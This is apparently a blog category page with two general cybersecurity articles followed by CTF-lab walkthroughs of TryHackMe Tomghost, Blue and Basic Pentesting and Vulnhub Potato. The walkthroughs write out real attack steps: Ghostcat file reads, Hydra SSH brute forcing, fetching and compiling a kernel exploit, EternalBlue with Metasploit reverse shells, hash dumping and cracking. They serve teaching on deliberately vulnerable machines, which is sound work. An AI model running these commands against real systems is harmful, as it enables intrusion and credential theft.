Category: Learning

  • Empower Cybersecurity: Harnessing the Potential of AI and Machine Learning

    Empower Cybersecurity: Harnessing the Potential of AI and Machine Learning

    In an increasingly digitized world, the rapid evolution of technology has brought both convenience and complexity. As businesses and individuals embrace the benefits of connectivity, the flip side is a growing concern about cyber threats and attacks. Cybersecurity has become a paramount concern, prompting a constant search for innovative solutions to safeguard our digital landscapes. One of the most promising developments in this endeavor is the integration of Artificial Intelligence (AI) and Machine Learning (ML) into the realm of security. This blog explores how AI and ML are transforming the field of cybersecurity, revolutionizing threat detection, prevention, and response.

    Understanding AI and Machine Learning

    To comprehend the impact of AI and ML on cybersecurity, it’s crucial to grasp their core concepts. AI refers to the simulation of human intelligence processes by machines, enabling them to learn, reason, and make decisions. ML, a subset of AI, focuses on the development of algorithms that enable computers to learn patterns and make predictions based on data without explicit programming. This capability to learn from data and adapt over time forms the foundation for their application in cybersecurity.

     

    The Role of AI and ML in Cybersecurity:

    1. Threat Detection and Prevention

    Traditional cybersecurity solutions often rely on rule-based systems, which can struggle to keep up with evolving threats and sophisticated attack methods. AI and ML address this limitation by enabling systems to learn and adapt to new attack patterns. These technologies can analyze vast amounts of data in real-time, identifying anomalies that might indicate potential threats. They can detect even the subtlest deviations from normal behavior, reducing false positives and enhancing the accuracy of threat detection.

    1. Behavioral Analysis

    AI-powered systems excel at understanding and predicting human behavior, a trait invaluable in cybersecurity. By establishing a baseline of normal user behavior, these systems can identify deviations that could signify unauthorized access or compromised accounts. This behavioral analysis extends to network traffic, enabling the identification of unusual patterns that might indicate a breach.

    1. Endpoint Security

    Endpoints, such as individual devices connected to a network, are often vulnerable points of entry for cyber attackers. AI and ML contribute to endpoint security by continuously monitoring device behavior, identifying potential threats, and responding in real-time. This proactive approach minimizes the window of opportunity for attacks to propagate.

    1. Phishing and Social Engineering Prevention

    Phishing attacks and social engineering rely on manipulating human psychology. AI and ML can be trained to recognize the characteristics of phishing emails, websites, or messages, thereby reducing the chances of users falling victim to such schemes. These technologies analyze content, sender behavior, and contextual cues to determine the legitimacy of communication.

    1. Automated Incident Response

    Timely response to cyber threats is critical. AI and ML automate incident response by assessing the severity of threats, classifying incidents, and initiating appropriate actions. This automation not only speeds up the response process but also reduces the risk of human error during high-pressure situations.

    1. Adaptive Cybersecurity

    AI and ML-powered cybersecurity systems are not static; they evolve with the threat landscape. As attackers develop new techniques, these systems learn from emerging threats and adapt their defenses. This adaptive nature ensures that organizations stay ahead in the ongoing cat-and-mouse game with cybercriminals.

     

    Real-World Applications:

    AI and Cyber security

    1. Network Intrusion Detection

    AI and ML algorithms analyze network traffic to identify suspicious behavior. They can recognize patterns associated with different types of attacks, such as Distributed Denial of Service (DDoS) attacks or SQL injection attempts. These algorithms can provide real-time alerts to administrators, enabling rapid response and mitigation.

    1. User and Entity Behavior Analytics (UEBA)

    UEBA platforms leverage AI to establish baselines of user behavior. By continuously monitoring user activities, these platforms can detect unusual actions, such as unauthorized access or data exfiltration, and flag them for further investigation.

    1. Malware Detection

    Traditional signature-based antivirus solutions struggle to detect new strains of malware. AI and ML-powered solutions, however, can identify malware based on behavioral patterns, reducing the reliance on known signatures and enhancing detection rates.

    1. Fraud Prevention

    Financial institutions employ AI and ML to combat fraudulent activities. These technologies analyze transaction data and user behavior to identify potentially fraudulent actions, such as unauthorized transactions or account takeovers.

    1. Predictive Analytics for Vulnerability Management

    AI-driven predictive analytics assess the likelihood of vulnerabilities being exploited based on factors like the vulnerability’s severity, the organization’s risk profile, and current threat trends. This enables security teams to prioritize patching and mitigation efforts effectively.

     

    Challenges and Considerations:

    While the integration of AI and ML into cybersecurity holds great promise, it’s not without challenges:

    1. Data Privacy Concerns

    The effectiveness of AI and ML depends on access to substantial amounts of data. However, ensuring data privacy and compliance with regulations like GDPR is paramount.

    1. Adversarial Attacks

    Hackers can manipulate AI models by providing input designed to confuse or mislead the system. This calls for the development of robust models that are resistant to such adversarial attacks.

    1. Bias and Fairness

    AI models can inadvertently perpetuate biases present in training data. Ensuring fairness and unbiased decision-making is crucial, especially in security-related contexts.

    1. Resource Intensiveness

    AI and ML models can be computationally intensive, requiring significant processing power and memory. Organizations need to balance performance requirements with available resources.

     

    The Road Ahead

    The fusion of AI and ML with cybersecurity represents a paradigm shift in the fight against cyber threats. As these technologies continue to evolve, we can expect:

    • Improved Threat Intelligence: AI-driven threat intelligence platforms will enhance the accuracy and timeliness of threat information, enabling proactive defenses.
    • Enhanced Automation: The automation of cybersecurity tasks will become more sophisticated, allowing organizations to respond rapidly to threats and allocate resources efficiently.
    • Human-AI Collaboration: Human expertise combined with AI capabilities will be a potent force in cybersecurity. AI will assist analysts in making informed decisions and uncovering hidden patterns.
    • AI-Powered Deception: AI-driven deception techniques will be employed to mislead attackers, diverting their attention away from critical assets.

    In conclusion, the integration of AI and ML into cybersecurity is a game-changer. As cyber threats become more complex, the adaptability, speed, and accuracy offered by these technologies are invaluable. However, it’s crucial to approach their implementation thoughtfully, addressing challenges related to data privacy, bias, and security. With AI and ML as allies, the battle against cyber threats takes on a new dimension, offering the promise of a safer and more secure digital future.

  • Infosec insights to the new normal

    Infosec insights to the new normal

    This pandemic is hitting hard on people and businesses around the world. While people are still struggling to overcome the situation, some businesses found ways by adopting some of the technologies that are beyond our time.

    To overcome the Global pandemic and ensuring the safety of every employee, organizations have adopted the Work from Home facility for their employees. Work from home has gone from being a once-in-a-while choice to being the new standard. Many companies have made it official that they would encourage employees to work from home permanently.

    How everything used to be

    Companies used to have a network-based perimeter to secure, around their office for their data and other IT properties.  The perimeter-based defense was the most common form of security in the past. Firewall-based security trusting the perimeter that everything within is

    safe. A connection from an external. With time and technology, attackers proved that wrong. The organization had to bring security for data in rest, data in transit, internal networks, devices, and much more.

    How everything is now

    We have come a long way from there to maintaining security for remote users and devices. Increased number of Remote users, BYOD, Cloud, etc. made the earlier modes of security ineffective. Organizations had to grant permissions to such users and devices.

    But permissions for such connections with an implicit trust to any user weakens the company’s security posture. Some of the mistakes that can cost a company more than anything while implementing security for remote users are:

    1. Not considering compromised devices
    2. Ignoring compromised credentials
    3. Not accounting for the context of an access request
    4. Creating a perception of safety

    Credits: HACKMAGEDDON

    The cyber-attacks follow an upward trend as we can see in the report made by Hackmageddon. With employees accessing official systems and files from remote networks, the organization’s attack surface has widened. Technologies today are Smart. But with human interactions, chances of new vulnerabilities are high.

    Studies say that 68% of the breaches happened, took more than months for the organizations to discover it. This emphasizes the importance of instilling cybersecurity knowledge in every employee.

    What an IT team should worry about

    • Confidentiality of your business data
    • Integrity of those data, while at rest and in transit
    • Availability of systems

    What an IT team can do

    1.Adopting Zero trust security model

    Otherwise known as perimeter-less security, is an approach to securely implement IT systems. The main concept is to trust no device by default. The three pillars of the zero-trust model are:

    • Always authenticate and authorize
    • Use least privileged access
    • Always assume there will be a breach

    2.Adjust your cyber strategy

    Analyze the business and risks by coordinating with respective teams to rethink the cybersecurity budgets and prioritize improving cyber strategy and budget.

    • Review IT security policies and processes and ensure that it is being followed.
    • Identify is the new attack surface. Improve IAM strategy with:
      • Right Controls
      • Right Reasons
      • Right Resources
    • Ensure efficient end-point security and Data security across its life cycle.
    • New security tools that can make improve cybersecurity are coming up more often than ever. Examine them.

    3.Setup Cyber training and exercises

    Cybersecurity is not just some rules for employees to follow. It is a culture that should be integrated into your workplace.

    • Show the employees what to do and what not to do.
    • Remind them the technology can do so much and chances are there when they might end up being the risk.

    4.Continuously review your infrastructure

    Ensure proper reviews are conducted periodically on the access controls, threats, and vulnerabilities across the Active Directory (AD) and systems.

    What an employee can do

    Every organization was pushed to adopt the “Work from Home” method for the safety of their employees with limited time in hand to think about the ways to implement Data security along with it. As a responsive employee, before clicking on any links shared from an unknown source, visualize a big picture of what situation you will be in if you do so.

    Some of the things you can do to ensure your data security are:

    1.Maintain a healthy password and activate MFA

    Attackers have millions of passwords that are commonly used, which might include yours as well. Make sure you have a unique healthy password that is uneasy to guess and activating MFA verifies that you are who you claim to be.

    2.Keep your system and software updated.

    Make sure to update and install patches more often. Not only for your system but also for your mobiles and non-corporate devices in which you access your emails and stuff.

    3.Secure your Wi-Fi access point

    Know that an average home network is less secure than an airport, hotel, or mobile network. Never connect your official laptop to any public Wi-Fi. Keep your firmware up to date and change your passwords and default settings to a secured one. Check out the recommendations on keeping your Wi-Fi secure by TP-Link and Lifehacker.

    4.Avoid Personal-Official data overlap

    With remote working, it is widely seen that many are mixing up both personal and office laptops. Avoid handing over the official laptop to any family or friends in any situation. Even accessing any of the social media from a business laptop might help an attacker to connect the dots and fake your identity.

    5.Be careful while sharing your screen

    In a team meeting where you share your screen, ensure that all unwanted apps are closed and no tasks other than what you need to present are running behind.

    6.Think again before you click

    Since phishing is the most popular cyber threat, check the sender’s email address whenever you receive a new email. Validate its credibility. Always access your banking profiles directly from the website, not through any links you receive. No matter who shares it.

    7.Lock your system whenever you walk away

    While taking a break, lock your system for the safety of your data. Even a glimpse of what you are doing while you have a tea or bathroom walk will help someone to use it to pose a threat. This rule was a must-be-obeyed one when you were in office and keep doing that while you are at home as well.

    Following these steps will keep you safe from the most common security risks. Just following these alone will not do though. Keep yourself up to date with the evolving cyber threats and patches releasing.

    “An internet-wide scan carried out by security researchers from Rapid7 had discovered over 11 million devices with 3389/TCP ports left open online, of which over 4.1 million are specifically speaking the RDP protocol.”

    Information security is no longer an IT team’s responsibility. You should realize that you don’t have to be in an IT or Security role to contribute to your company’s overall security.

    Be Aware.

    Take Initiate.

    Stay protected

  • Ghostcat Vulnerability CVE-2020-1938 explained and exploited with Try-Hack-Me Tomghost machine

    Today, I am back with an interesting blog on vulnerability named Ghostcat. The Apache Ghostcat vulnerability is an LFI (Local File Inclusion) vulnerability which is discovered by a security researcher of Chaitin Tech and came out in February 2020, while the world was gearing up for a lockdown fight up against the coronavirus. It allows an attacker to read files such as configuration files, text files, or any other tomcat directory files.

    What Ghostcat vulnerability can do?

    Due to a flaw in the Tomcat AJP protocol, by exploiting the Ghostacat vulnerability an attacker can read or include any files in the webapp directories of Tomcat. For example, An attacker can read the webapp configuration files or source code. In addition, if the target web application has a file upload function, the attacker may execute malicious code on the target host by exploiting file inclusion through Ghostcat vulnerability.

    You can get more information about it on

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938

    https://nvd.nist.gov/vuln/detail/CVE-2020-1938

    What is AJP (Apache Jserv Protocol)?

    It is a binary protocol that can proxy inbound requests from a web server through an application server that sits behind the webserver. It is essentially an optimized binary version of the HTTP protocol in binary form. This makes communication with the AJP port rather difficult using conventional tools.

    The simplest solution is to configure Apache as a local proxy, which performs transparent conversion of HTTP traffic to AJP format. Once configured, an attacker can use common tools and different exploits to exploit the Tomcat server over AJP.

    It can be used to reduce the processing costs related to HTTP requests and is mostly used in scenarios that require clustering or reverse proxies.

    By default, it is enabled on port 8009.

    By default, Tomcat is configured with two Connectors, which are HTTP Connector and AJP Connector:

    HTTP Connector: used to process HTTP protocol requests (HTTP/1.1), and the default listening address is 0.0.0.0:8080

    AJP Connector: used to process AJP protocol requests (AJP/1.3), and the default listening address is 0.0.0.0:8009

    How Ghostcat can become RCE (Remote Code Execution)?

    As we have discussed till now that Ghostcat is a file inclusion vulnerability and It’s not a Remote Code Execution (RCE) by default. But some circumstances made it RCE.

    João Matos, a well-known security researcher from Brazil, identified the prerequisites needed for Ghostcat to become an RCE.

    Apache Tomcat has officially released versions 9.0.31, 8.5.51, and 7.0.100, and a newer version to fix this vulnerability.

    Why does this vulnerability exist?

    By default, Tomcat treats AJP connections as having a higher level of trust, when compared to HTTP connections. When AJP is implemented correctly, the protocol requires a secret, which is required by anyone who queries the protocol. When we are using the default Tomcat configuration, this secret is not enabled and because of this, there is no security check done for requests coming into port 8009. This means that an unauthenticated attacker can access the port to read or potentially write to the server.

    TryHackMe has a machine named Tomghost, which has this vulnerability. So now we will exploit that machine and learn more about this.

     Tomghost: Try-Hack-Me machine

    Our goal is to identify recent vulnerabilities and exploit the system or read files that we should not have access to.

    To start this, I have Initiated the VPN connection and deploy the machine.

    As always, we will start with Nmap scan:

    nmap -sC -sV -vv -T4 <IP>

    We found 4 open ports: Port 22, Port 53, Port 8009, Port 8080

    Task 1: Compromising this machine and obtaining user.txt

    We can see that on port 8080 we have a Tomcat webserver and port 8009 is also open.

    Let’s access its website as an Apache is running.

    Here, we can see the default page for Apache Tomcat and it is running version 9.0.30. (We got the version from our Nmap scan results as well)

    So, now we can look for vulnerabilities on google.  After some googling, I found that Apache Tomcat versions 6.x, 7.x, 8.x, and 9.x are found to be vulnerable to this Ghostcat vulnerability which we discussed earlier.

    So, we can search for exploits in google. I found following on exploit DB: https://www.exploit-db.com/exploits/48143

    I also found another exploit on the GitHub of “00theway” which looks interesting.  So, I have decided to use this here. You can find that in here:

    https://github.com/00theway/Ghostcat-CNVD-2020-10487

    We need to get this in our system using following command:

     git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487

    We can see the ajpShooter.py file in our directory.

    Following is code for ajpShooter, for readers interested in Python programming:

    Now let’s check how to use this.

    Now we want to use this to exploit and for that on 00theway’s GitHub page, we found following example:

    From this I made our command as following:

    python3 ajpShooter.py http://<IP>:<PORT> <AJP_PORT> /WEB-INF/web.xml read

    python3 ajpShooter.py http://10.10.170.107:8080 8009 /WEB-INF/web.xml read

    With the help of ajpShooter, We obtained a username and password.

    skyfuck:8730281lkjlkjdqlksalks

     From our Nmap scan results, we know that SSH is open. So let’s try to login through SSH and give this password.

    Yes…!!! We can log in successfully using that password… Now let’s find out what we have in here and we will also look for the flag.

    As you can see, We found 2 users here.

    After Switching to the merlin directory, I found the user.txt flag.

    THM{GhostCat_1s_so_cr4sy}

    So, we have successfully Compromised this machine and obtain user.txt and found our 1st flag..!!!

     Task 2:  Privilege Escalation and obtaining root:

     Switching to user ‘skyfuck’ again we found 2 files: credential.pgp and tryhackme.asc

    Here we have .pgp and .asc file. Opening .asc file gave me PGP private key shown below.

    From this and after researching on google, I learned that asc file is used to decrypt pgp.

    Before going further let’s quickly look at GPG.

    GnuPG (more commonly known as GPG) is an implementation of a standard known as PGP (Pretty Good Privacy). It uses a system of “public” and “private” keys for the encryption and signing of messages or data.

    It is a complete implementation of the OpenPGP standard as defined by RFC4880 (also known as PGP). GnuPG allows you to encrypt and sign your data and communications; it features a versatile key management system, along with access modules for all kinds of public key directories.

    For encryption and decryption, I found the following useful:

    So, we found a credential file earlier and it was encrypted using gpg and key to decrypt that file is tryhackme.asc. Let’s try to decrypt that.

    But We need a secret to decrypt this.

    As you can see, we don’t have sudo privilege here so to decrypt this file we need to copy this to our system.

    Let’s get this file on our system utilizing the Secure Copy (scp) command.

    scp copy files securely between hosts on a network. It uses ssh for data transfer and uses the same authentication and provides the same security as ssh.

    So, we can copy these 2 files across ssh connection. That connection will be securely encrypted, it is a very secure way to copy files between computers.

    scp uses by default the port 22 and connects via an encrypted connection or secure shell connection.

    Syntax: scp [-12346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]

        [-l limit] [-o ssh_option] [-P port] [-S program]

        [[user@]host1:]file1 … [[user@]host2:]file2

    So, I will use following command for secure copy and Password: 8730281lkjlkjdqlksalks

    scp -p skyfuck@10.10.140.34:/home/skyfuck/tryhackme.asc tryhackme.asc

    Here, -p is for Preserving modification times, access times, and modes from the original file

    We have successfully copied 1 file. Let’s do it for the other as well.

    scp -p skyfuck@10.10.140.34:/home/skyfuck/credential.pgp credential.pgp

    Now, In our TryHackMe directory we have two extra files, ‘tryhackme.asc’ and ‘credential.pgp’.
    We can use john the ripper to crack the hast discover the password in ‘tryhackme.asc’.

    John the Ripper tool will help us with revealing the password hash hidden in the tryhackme.asc file. 

    For this, we will search for gpg2john. You can use locate command.

    Here we can pass it the file we got from the Tomghost machine and save the output.
    /usr/sbin/gpg2john tryhackme.asc > tryhackmeHash.txt

    This is what my hash file contains:

    Now, To crack this, we will use john with rockyou.txt file using following command:

    john –wordlist=/usr/share/wordlists/rockyou.txt tryhackmeHash

    So, we have the passphrase: alexandru

    Now can try to decrypt the credential.pgp with this passphrase to get the content using the command discussed earlier in Table.

    gpg –import tryhackme.asc

    When it prompts for password, we can supply password: alexandru as shown below:

    We can see that it also exposes some sensitive information like it is encrypted with a 3072-bit ELG key, ID 8F3DA3DCEC6707170.

    As you can see, the process is completed, and our key is imported.

    Now let’s decrypt this using following command:

    gpg –decrypt credential.pgp

    for decryption also they will authenticate you.

    Here, I entered the wrong password by mistake and learned that it provides only 3 tries for an attacker to unlock the OpenPGP secret key.

    Hurray..!!! After giving the correct password, Our decryption is successfully completed.

    As we can see, another user merlin, and his password is also revealed. Now we can try that with ssh:

    Now we can switch to user merlin using the obtained password and check the command that can be performed with sudo privilege:

    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus neca

    Here, we can run the zip command as root. So, I was looking for ways to use zip to get root access, on google and found  GTFOBins.

    It is a privilege escalation exploit we can utilize to elevate our privileges and get a root shell from zip.

    Here is the link:

    https://gtfobins.github.io/gtfobins/zip/#sudo

    Using the site GTFOBins, the zip application allows for a user to create a new shell as the root user.  Now we will see how to use it:

    .

    All we need to do now is simply copy and paste this command into the terminal and we should get a new command line as root.

    Let’s, give it a try.

    And finally, it’s Done. I simply change the directory to the /root and got the root.txt flag.

    THM{ZIP_1S_FAKE}

    With this second flag, we have completed this machine.

    It was a great machine as it had a recent real-world-related vulnerability. We learned a couple of new things in this blog.

    Conclusion:

    1. Started the machine and got into the same network using OpenVPN Service.
    2. We started initial recon with Nmap and found 4 open Ports. Which are 22, 53, 8009, and Port 8080. We also found what version and services they are running. That gave us information about Apache Tomcat version 9.30.30 is running on 8080 and Apache Jserv is on 8009.
    1. Looked for vulnerabilities associated with that and found well-known Ghostcat Vulnerability (CVE-2020-1938). When working with Apache Tomcat, always look for Ghostcat vulnerability.
    1. Found few ways to exploit it from exploiteDB and GitHub. Then started the exploitation phase with the Github repository of “00theway” with ajpShooter.py and got 1st user and his password.
    1. With those credentials tried to get access to the user using SSH but learned that he is not the root user. Started searching for some useful directory/information to escalate the privileges. Found out few files (.pgp and .asc), 1st flag, and another username.
    1. Stared privilege escalation to get access to the root user. Got access to PGP private key and tried to decrypt the ASCII file using that. For that securely copied both files to my system (because it was not a rooted user profile, so it required a secret phrase to decrypt the file) and crack the ASCII file using John the Ripper.
    1. Used gpg2john to get the Hash of ASCII file, and used rockyou world list with john to crack that hash. This gave the secret phrase.
    1. Using that we unlocked PGP key and got other user’s credentials. Login through SSH and found out that it was a root user.
    1. Learned that it can only run zip command as a root. Used GTFOBins to maintain elevated privilege and access the file systems and found the final flag.

    Thanks for reading…!!!

    Until Next time, Happy Hacking…!!!

  • Potato:1 Vulnhub Walkthrough

    Hello, Infosec Community !!

    Today let’s crack the Potato:1 Machine from Vulnhub. You can download the machine from here; ( https://www.vulnhub.com/entry/potato-1,529/ )

    Description:

    • Difficulty: Easy to Medium
    • Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).

    We are going to follow the PTES Standards for cracking the machine. So, let’s start with gather information about the machine.

    First find out the IP address assigned to the vulnerable machine.

    NetDiscover Tool

    It is an ARP scanner used to identify live hosts in a network. This comes under Information Gathering

    kali@kali:~$ sudo netdiscover

    As I found the IP address of the machine next, I am going to do a  NMAP scan and find out the service and ports open in the machine. Nmap scan is also a part of Information Gathering.

    kali@kali:~$ sudo nmap -sSV -vv -sC -T4 -p-  192.168.70.130

    I have done a full port scan and found out that the machine has only 2 open ports 80 & 7120.

    As I opened the port 80 in the browser, I did not find out anything curious. So, I moved on to the next port that is 7120 with SSH service open.

    Now let’s try to find vulnerabilities in the host. This method is known as Vulnerability analysis according to PTES.

    I opened the Nikto tool and ran a quick scan on the target IP address.

    kali@kali:~$ nikto -h 192.168.70.130

    No luck !! I did not find any vulnerability. So, let’s try to bruteforce the SSH service in port 7120.

    To bruteforce and crack the SSH credentials I used the powerful tool called THC-Hydra.

    kali@kali:~$ hydra -s 7120 -l potato -P /home/kali/Desktop/passlist.txt  ssh://192.168.70.130

    As you can see in the image above, I used the login username as root and was failing consecutively.

    Then I remember the hint which was given in the machine description.

    So, I used the name potato instead of root and BOOM !! I got the password.

    And to be mentioned, I did not use Rockyou password list which is by default available in Kali machine.

    Instead I used the

    https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials

    Now I got the SSH username and password to login to the vulnerable machine.

    kali@kali:~$ ssh potato@192.168.70.130 -p 7120 

    Here I have limited access. Also, I found out that the system runs in Linux Ubuntu version 3.13.0.24 generic.

    Let us do the Exploitation part as mentioned in PTES

    I did a quick search in google and exploitdb. Got it !! I found this exploit Overlayfs. It is a Local Privilege escalation exploit which affects few versions of ubuntu. You can find the exploit code here https://www.exploit-db.com/exploits/37292

    I downloaded the file and saved it as 37292.c as we are going to compile the exploit code in gcc.

    Here I used  SimpleHTTPserver to create a quick web server to host the exploit code.

    kali@kali:~/Desktop$ sudo python -m SimpleHTTPServer 80

    In a new terminal I used wget tool to host this exploit code into the web server.

    kali@kali:~/Desktop$ wget http://192.168.70.130:80/37292.c

    Now going to the Final stage !!

    Lets download the exploit code to the target machine.

    Use the same wget command to download the file from the web server. But before that change directory to /tmp

    potato@ubuntu:~$ cd /tmp

    Now download the file and check if it is there using the ls command.

    Compile the exploit code using gcc.

    Here I am exploiting the Vulnerability we found.

    potato@ubuntu:/tmp$ gcc 37292.c -o 37292

    The exploit code is successfully executed. Now will check for the permission I have.

    I got the root permission and now can execute any commands.

    So now let’s find the hidden flag. Change the directory to /root

    Just use the ls commands to see what all the files are available in the /root folder.

    Here I found the proof.txt in which is the Flag.

                                                                 Found the Flag Proof.txt

  • TryHackMe Walkthrough- Blue

    Hi Everyone…!!!

    I am back with another machine in this blog. In this beginner-friendly blog, we will learn how to deploy & hack into a Windows machine, leveraging common misconfigurations issues.

    This machine is based on Eternal blue vulnerability(CVE-2017-0143).

    Let’s ping the blue machine and make sure we are connected.

    Task 1:  Recon

    In the 1st task, we need to scan and find out what exploit this machine is vulnerable to.

    nmap -sC -sV -A -vv -T3

    Now, we can see the open ports and which services are running on them in the above results. There are 3 open ports under 1000.

    Here, the Microsoft–DS service is running on port number 445 and it is used by SMB (Server Message Block) service and that the system is running on Windows 7. So, we need to scan the machine to see if it is vulnerable to Eternal Blue (assuming it is called a blue machine) or other vulnerabilities affecting the older operating systems. We can do this using Nmap as well.

    To Enumerate port 445, we will use Nmap script and following command:

    nmap –script vuln -p445

    –script (Nmap Scripting Engine ‘NSE’): Specify the --script option to choose your scripts to execute by providing categories, script file names, or the name of directories full of scripts you wish to execute. https://nmap.org/book/nse-usage.html#nse-categories

    vuln: These scripts check for specific known vulnerabilities and generally report results only if they are found.

    The output of the scan shows that the machine is vulnerable to ms17-010, which is known as Eternal Blue!

    Task 2: Gain Access After a quick google search about ms17-010 exploit, I got to know that there is a Metasploit module ms17-010 Eternal blue. So, to exploit the machine and gain a foothold, we will use Metasploit.

    Let’s fire up Metasploit using command msfconsole.

    To search for the exploit, type of console: search eternalblue

    search: The msfconsole includes an extensive regular expression-based search functionality. If you have a general idea of what you are looking for, you can search for it via search.

    Before going any further, it is always advisable to check first if the host is vulnerable, before firing up an exploit in penetration testing. Because we do not want to harm the host with a careless exploit. So, to check this we can run auxiliary module with following command:

    use auxiliary/scanner/smb/smb_ms17_010

    auxiliary/…/…/: Auxiliary modules include port scanners, fuzzers, sniffers, and more.

    Let’s use the auxiliary scanner to see what we get.

    I have used the command: show options to see a list of current settings. In this, the column “Required” indicates additional settings that must be configured to make the module work properly.

    Now it is confirmed that this is Vulnerable as we expected before.

    Now let’s go back to previous results, which we got from the search eternalblue command.

    So, here I will be using module 2 which has a path: exploit/windows/smb/ms17_010_eternalblue

    Here it says no payload configured. So, by default, it is taking the “windows/x64/meterpreter/reverse_tcp” payload. But in the next tasks, we will need other sessions on meterpreter payload and for that 1st session, let’s take a simple shell as a payload, and then we will upgrade it in some time. So, I have set following payload:

    set payload windows/x64/shell/reverse_tcp

    Here I have noticed that by default the exploit also checks whether the target is vulnerable or not with the VERIFY_TARGET setting.

    We can also see that this module has four required settings and three of them are automatically configured. So, we need to set only the RHOST (remote host) using command:

    set RHOSTS <IP>

    Also in the Payload section, we must set the LHOST (listening host) using command and attackers machine’s IP address:

    set LHOST <IP>

    I also varied if the RHOSTS and LHOST are set by checking options again.

    Now let’s exploit the machine using command: exploit or run

    exploit/…/…/: In the Metasploit Framework, exploit modules are defined as modules that use payloads

    Yes..!!!

    As you can see above, after running the exploit we have gained access to the shell of the target machine.

    I am using command: whoami

    It Displays user, group, and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and username.

    But getting a shell is not enough, we must escalate our privileges to perform administrator-level operations on the system. For that, we need to upgrade our shell to meterpreter as it gives a lot of functionalities as compared to a normal shell.

    Before that, we need to put previously gained shell in the background using (CTRL + Z).

    By typing command sessions you can get information about all running sessions.

    Now only 1 reserver shell session is running but our next task requires us to upgrade a standard reverse shell to a meterpreter session. I have researched on the web on how to convert a shell to a meterpreter shell in Metasploit.

    I am using command: grep meterpreter search shell to search

    Here I am using command: post/multi/manage/shell_to_meterpreter, which is on number 582

    Select this (use MODULE_PATH). Using command show options, we are required to change the SESSION option.

    Use command exploit/run to upgrade from the OS shell to a meterpreter shell.

    We have successfully created a meterpreter session. Now we can see that we have 2 sessions running and we can change session with this command: sessions -i <Id>

    Using this here, I am changing the session to Id number 2, meterpreter.

     Task 3: Escalate

    Now that we have our meterpreter session, we can verify the system info by running the getsystem command and make sure that we have system-level privileges.

    meterpreter (getsystem): Attempt to elevate your privilege to that of the local system.
    meterpreter (shell): The shell command will present you with a standard shell on the target system.

    Our next challenge after escalating our meterpreter shell is to migrate it into another process. For that, I moved out of our standard shell and went back to the meterpreter session using CTRL+Z.

    Run the ps command to check about all the processes that are running on the system. There are a lot of processes running as the NT Authority. So, I have noted down the PID of the searchIndexer.exe process.

    Task 4: Cracking

    Now as we have complete control of the target machine, we can crack some passwords. For that, we need to dump the non-default user’s password and crack it.

    In our elevated meterpreter shell, by using the command hashdump, we will dump all the passwords on the machine. This is possible because we have the correct privileges to do so.

    So, we found the non-default user Jon.

    Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

    Windows OS used to have LM hashing to store passwords, but it moved over to using NTLM. This hashdump can be broken into following: (each separated by a colon):

    user: Jon
    RID: 1000
    LM hash: aad3b435b51404eeaad3b435b51404ee
    NT hash: ffb43f0de35be4d9917ac0cc8ad57f8d

    Now, this is the fun part. We can use hashcat to crack this password but some online software like Crackstation will also work fine to crack this type of weak NTLM passwords. Let’s try it with that CrackStation available at  https://crackstation.net/

    Jon’s password is alqfna22.

     

    Task 5 Find flags!

    Now we need to find the three flags planted on this machine. These are not traditional flags, rather, they are meant to represent key locations within the Windows system.

    flag1.txt C:\flag1.txt                                                                                                                                           Flag 1: {access_the_machine}

    Flag2: Windows does not like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag.

    Same way we can find flag 2 and in following location:

    flag2.txt C:\Windows\System32\config\flag2.txt                                                                                  Flag 2: {sam_database_elevated_access}

    flag3.txt C:\Users\Jon\Documents\flag3.txt                                                                                            Flag 3:{admin_documents_can_be_valuable}

    This concludes all the required tasks in this machine. EternalBlue exploits a vulnerability in Microsoft’s implementation of the Server Message Block (SMB) protocol. EternalBlue is a cyberattack exploit developed by the U.S. National Security Agency (NSA) and was leaked by the Shadow Brokers hacker group on April 14, 2017. This vulnerability was well-known back then, as many systems were compromised using this vulnerability. After that, one month later Microsoft released fixes to patch up these vulnerabilities for different Operating systems. But many Windows users missed installing the patches which paved the path for another hack two months later on May 12, 2017, the WannaCry ransomware attack. It used the EternalBlue vulnerability to spread itself. The next day (May 13, 2017) itself, Microsoft released emergency security patches for the unsupported Windows systems.

    With this, we conclude that using systems with such vulnerabilities can be compromised and the adversary can gain access and benefit from it. So, it is highly recommended to always keep your software and windows updated with the latest version, fixes, and patches to reduce the risk of being compromised by such vulnerabilities.

    Thanks for reading and will meet you next time with another blog soon.

    Until next time, Happy hacking…!!!

  • Basic Pentesting walkthrough -TryHackMe

    Hello Everyone…!!!

    It is nice to meet you all again with another walkthrough of the basic Pentesting machine available on TryHackMe. It covers Service Enumeration, Hash Cracking, Brute-Forcing through Hydra, and Privilege Escalation. So, let us get this test started.

    To make sure that we are connected to their network, I am using the ping command on the given IP address and it seems we are.

    Now let us do some information gathering. We need to find out which ports are open and which services are running on the ports so we will take help from our friend NMAP:

    Use command: nmap -sC -sV <IP addr>

    From this Nmap scan, we got the list of open ports and the respective service running as follows:

    Here, the HTTP port is open. So, we can try to access the website to see if it can give us any piece of information.

    The resultant page seems to give us no information but when checking the source code, we found following note for us:

    We do not know about the dev note section. So, we can use dirsearch/dirbuster to find the hidden directories.

    But here, we are going to use our older friend NMAP to find the dev directory. For this, we can use Nmap scripts. This enumerates directories used by popular web applications and servers.

    Use command: # nmap -p80 –script http-enum <IP addr>

    Now we got the name of the directory “development”. Let us check what is in it:

    We found dev.txt and j.txt files here. After opening them we can see following contents:

    It is a chat between 2 users K and J.

    Now we need to find out the users and we also know it has SMB configured. To enumerate SAMBA,

    Use command: # enum4linux <IP addr>

    So, we finally found 2 users as shown above, user kay and jan.

    As we already know it is a weak password from reading messages between K and J, we can crack it using Hydra Tool.

    For that, we need a list of passwords and I am using Rockyou wordlist. It is a password dictionary used to perform different types of password cracking attacks. It is the collection of the most used and potential passwords. It is already added in Kali Linux by default and to find it,

    Use command: #locate rockyou

    The rockyou file has a .gz extension which means that it is a zip file. We must unzip it to use it.

    Use command: #gzip -d rockyou.txt.gz

    We can check it by going to the location of the file.

